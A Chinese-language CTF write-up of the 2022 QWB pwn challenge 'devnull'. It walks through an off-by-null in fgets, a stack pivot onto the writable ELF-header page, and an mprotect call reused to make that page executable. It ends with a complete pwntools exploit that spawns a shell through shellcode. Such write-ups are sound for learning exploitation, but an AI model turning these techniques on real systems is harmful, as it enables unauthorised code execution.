一些废话:
混了强网杯, 贡献为 0. 太菜了, 啥也不会, 坐大牢.
一开始去搞的 pokemogo, 凭着高超的 Google 技巧, 找到了对应的资料, 然而不会. 稍微看了一下, 能懂个非常粗的原理. 然后 bb 一个下午 + 半个晚上给打穿了, orz. UserManager RBTree + musl heap, 逆不出来, 也不会利用, 爬了. devnull 被打穿了, 但是我对着它看了很久, 都不知道 /dev/null 能有啥漏洞 (以为要往里写东西啥的), 然后去 Google 无果. (后来 cor1e 学姐打出来了, 太强了) limiter 喊我看 qwarmup, 看了很久也看不出 leak 的方法, 遂寄.
64 位 ELF, 没开 PIE 和 canary.
非常简单的逻辑 (为方便, 已修改部分符号名称):
main:
1
2
3
4
5
6
7
8
9
10
11
|
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
put("welcome to the /dev/null world\n");
put("the /dev/null can help clear your junk data\n");
fun();
fclose(nullfd);
_exit(0);
}
|
fun():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
void __fastcall fun()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
int fd; // [rsp+20h] [rbp-20h]
int v2; // [rsp+24h] [rbp-1Ch] BYREF
void *buf; // [rsp+38h] [rbp-8h]
put("/deb/null may cause some error\n");
nullfd = fopen("/dev/null", "rb");
fd = 3;
if ( !nullfd )
{
put("error\n");
exit(1);
}
buf = malloc(0x60);
put("please input your filename\n");
fgets(s, 33, stdin);
put("Please write the data you want to discard\n");
if ( read(fd, &v2, 0x2c) )
{
data_segment_protect();
put("please input your new data\n");
if ( !read(fd, buf, 0x60) )
exit(1);
put("Thanks\n");
close(1);
}
else
{
put("no junk data?\n");
put("please input your new data\n");
read(0, buf, data60h);
discard_data(s, (const char *)buf);
}
}
|
put 是自己实现的一个输出函数:
1
2
3
4
5
6
7
|
void __fastcall put(const char *a1)
{
size_t v1; // rdx
v1 = (int)strlen(a1);
write(1, a1, v1);
}
|
data_segment_protect:
1
2
3
4
|
void __fastcall data_segment_protect()
{
mprotect((&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 1);
}
|
mprotect 一会详细讲.
discard_data:
1
2
3
4
5
6
7
8
9
10
11
|
void __fastcall discard_data(const char *a1, const char *a2)
{
if ( use_devnull == 0x436174463179LL )
{
fprintf(nullfd, a2);
use_devnull = 0LL;
}
data_segment_protect();
strlen(a1);
*a1 = 0;
}
|
漏洞主要出现在 fun 中.
1
2
3
4
5
6
7
|
void __fastcall fun()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
int fd; // [rsp+20h] [rbp-20h]
...
fgets(s, 33, stdin);
}
|
这里有 off by null.
man 3 fgets
, 了解一下 fgets 的机制:
char *fgets(char *s, int size, FILE *stream);
fgets() reads in at most one less than size characters from stream and
stores them into the buffer pointed to by s. Reading stops after an
EOF or a newline. If a newline is read, it is stored into the buffer.
A terminating null byte (’\0’) is stored after the last character in
the buffer.
fgets 从 stream 读取最多 size - 1 个字符到 s 中. 读取碰到 EOF 或者 '\n'
停止. 最后, 在字符串末尾补 0.
s 只有 32 个字节, 然而 fgets 传入的 size 是 33, 所以, 如果填完了 32 字节, 那么会在 33 的位置设置为 '\0'
. 看到 s[33] 位置就是 fd 的最低位字节.
虽然全局变量 nullfd 存了, 但是后面在写入 /dev/null
的时候, 用的是局部变量 fd. 所以 off by null 后, 后面几个 read(fd, xxx, xxx) 的, 实际上可以从 stdin 读入了.
(以及这样后面的 else 就不会执行到了. discard_data 也不用看了.
还可以发现栈溢出漏洞.
1
2
3
4
5
6
7
8
9
|
void __fastcall fun()
{
...
int v2; // [rsp+24h] [rbp-1Ch] BYREF
void *buf; // [rsp+38h] [rbp-8h]
...
if ( read(fd, &v2, 0x2c) )
...
}
|
v2 在 rbp - 1C 处, 而可以读入 0x2c 的数据. 这将会 覆盖掉 buf, 以及栈上多 0x10 的数据, 即 old rbp 和 return addr. 刚好覆盖到返回地址, 无法直接在栈上构造 ROP 链. 由于没开 PIE, 考虑栈迁移, 把 old rbp 覆盖到一个可以写的位置. 最简单的就是数据段. 但是, 继续往下看:
1
2
3
4
5
6
7
8
9
10
|
void __fastcall fun()
{
...
if ( read(fd, &v2, 0x2c) )
{
data_segment_protect();
...
}
...
}
|
1
2
3
4
|
void __fastcall data_segment_protect()
{
mprotect((&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 1);
}
|
这里是用 mprotect 将 stdin 所在页的权限设置为 r–.
看一下 mprotect: man 2 mprotect
int pkey_mprotect(void *addr, size_t len, int prot, int pkey);
mprotect() changes the access protections for the calling process’s
memory pages containing any part of the address range in the interval
[addr, addr+len-1]. addr must be aligned to a page boundary.
If the calling process tries to access memory in a manner that violates
the protections, then the kernel generates a SIGSEGV signal for the
process.
prot is a combination of the following access flags: PROT_NONE or a
bitwise-or of the other values in the following list:
PROT_NONE
The memory cannot be accessed at all.
PROT_READ
The memory can be read.
PROT_WRITE
The memory can be modified.
PROT_EXEC
The memory can be executed.
(pkey 这个参数可以先不管, 直接用前面 3 个参数也是可以调用的)
将 addr (必须对齐页) 开始, 大小 size 的地方结束, 这段内存的权限设置为 port. port 是 rwx (国际惯例, 1 r, 2 w, 4 x).
这里就是把 stdout 所在的数据段 (由于使用了 setvbuf, stdout 位于程序的数据段) 的权限设置为只读. 我们之前想的栈迁移, 就无法迁移到这里了.
那就没办法了吗? 调试一下, 查看内存映射情况 (rizin 指令 dm
, 主要关注程序的部分, 可以加 grep):
1
2
3
4
5
6
|
0x00000000003fe000 - 0x0000000000400000 - usr 8K s rw- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.ehdr
0x0000000000400000 - 0x0000000000401000 - usr 4K s r-- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.LOAD2
0x0000000000401000 - 0x0000000000402000 * usr 4K s r-x /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.LOAD3
0x0000000000402000 - 0x0000000000403000 - usr 4K s r-- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.LOAD4
0x0000000000403000 - 0x0000000000404000 - usr 4K s r-- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; map.home_wings_CTF_contest_2022_qwb_devnull_devnull.rw
0x0000000000404000 - 0x0000000000405000 - usr 4K s rw- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; section..data
|
可以发现, 起始于 0x3fe000 的 ehdr 段具有读写权限. ehdr 是 elf header, 在程序执行的过程中没啥用, 所以我们可以修改它而不引起崩溃.
接着看程序:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
void __fastcall fun()
{
...
if ( read(fd, &v2, 0x2c) )
{
...
if ( !read(fd, buf, 0x60) )
exit(1);
put("Thanks\n");
close(1);
}
...
}
|
读入到 buf 指向的区域上, 然后关闭 stdout. 这个关了和没关一样, 因为提权后可以输出到 stderr.
无法泄漏 libc, 不能直接构造 execve("/bin/sh").
注意到有 mprotect, 我们或许可以改变一块页的权限, 使得它可执行, 那么向这个页上写入 shellcode, 然后 ret 到这里执行就行.
那么问题来了, 如何构造这个具有执行权限的 mprotect 呢?
port 参数由 rdx 传入, 并且调试可以发现, fun 函数返回时, rdx 恰好是 7! 原因在于其返回前执行了 put("Thanks\n")
, 内部是 write(1, "Thanks\n", 7)
, write 的第三个参数 7, 有 rdx 传入. put 后面的 close 不会修改 rdx. 由于传参顺序是从右向左 (一般是这样), mprotect 的第三个参数是最先传的, 那么可以劫持到传完后的部分, 传入继续前两个参数, 理论上就可以构造一个权限 rwx 的页了.
看一下 data_segment_protect 的汇编:
1
2
3
4
5
6
7
8
9
10
11
12
|
0x004012b6 endbr64
0x004012ba push rbp
0x004012bb mov rbp, rsp
0x004012be lea rax, obj.stdout ; 0x404040
0x004012c5 and rax, 0xfffffffffffff000
0x004012cb mov edx, 1
0x004012d0 mov esi, 0x1000
0x004012d5 mov rdi, rax
0x004012d8 call sym.imp.mprotect
0x004012dd nop
0x004012de pop rbp
0x004012df ret
|
由于没有开 PIE, 所以理论上来说可以比较轻松的控制程序流运行到 0x004012d0
. 这样还有一个问题. rax 的值需要是一个页对齐的有效地址. (mov, rdi, rax 传第一个参 addr)
由于运行了 close(1), 在 fun 返回的时候, rax = 0 (NULL), 这并不是我们所期望的. 而且, 这个 rax 需要我们能够控制, 使其指向一个合适的位置. 搜索一下 mov rax; ret 的 gadget:
1
2
3
4
|
[0x00401513]> "/R mov rax;ret"
0x00401350 488b45e8 mov rax, qword [rbp - 0x18]
0x00401354 c9 leave
0x00401355 c3 ret
|
技巧
这里用 rizin 的 /R 就能搜到, 反倒是 /ad/ 搜不到. ROPgadget 也搜不到. 不知道为啥, 离谱了.
可以看到, 这里有从栈上读入数据到 rax, 然后 leave;ret 的 gadget. 正好, 覆盖 buf 到 ehdr 位置后, 我们可以向 ehdr 段写数据伪造栈, 同时也可以在其上布置 ROP 链. 还能写入 shellcode, 待 mprotect 改变了这个段的属性为 rwx 后, 返回到 shellcode 执行.
cor1e 学姐的 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import *
p = process('./devnull')
# p = remote('47.94.166.51', 44268)
context.log_level='debug'
context.arch='amd64'
p.recvuntil("please input your filename\n")
p.send(b'\x00' * 0x20)
p.recvuntil("Please write the data you want to discard\n")
p.send(b'\x00' * 0x14+ p64(0x3ff000) + p64(0x3ff018) + p64(0x401350))
p.recvuntil("please input your new data\n")
shellcode = shellcraft.execve('/bin/sh')
payload = p64(0x3ff000) + b'\x00'*0x18 + p64(0x4012D0) + p64(0xdeadbeef) + p64(0x3ff038) + asm(shellcode)
print('len: ',hex(len(payload)))
p.send(payload)
p.interactive()
|
由于关了 stdout, 打通以后要重定向输出到 stderr
cat flag >&2
这题完全是在能力范围之内的, 心态问题. (最近确实心态不行, 整个人都不在状态.)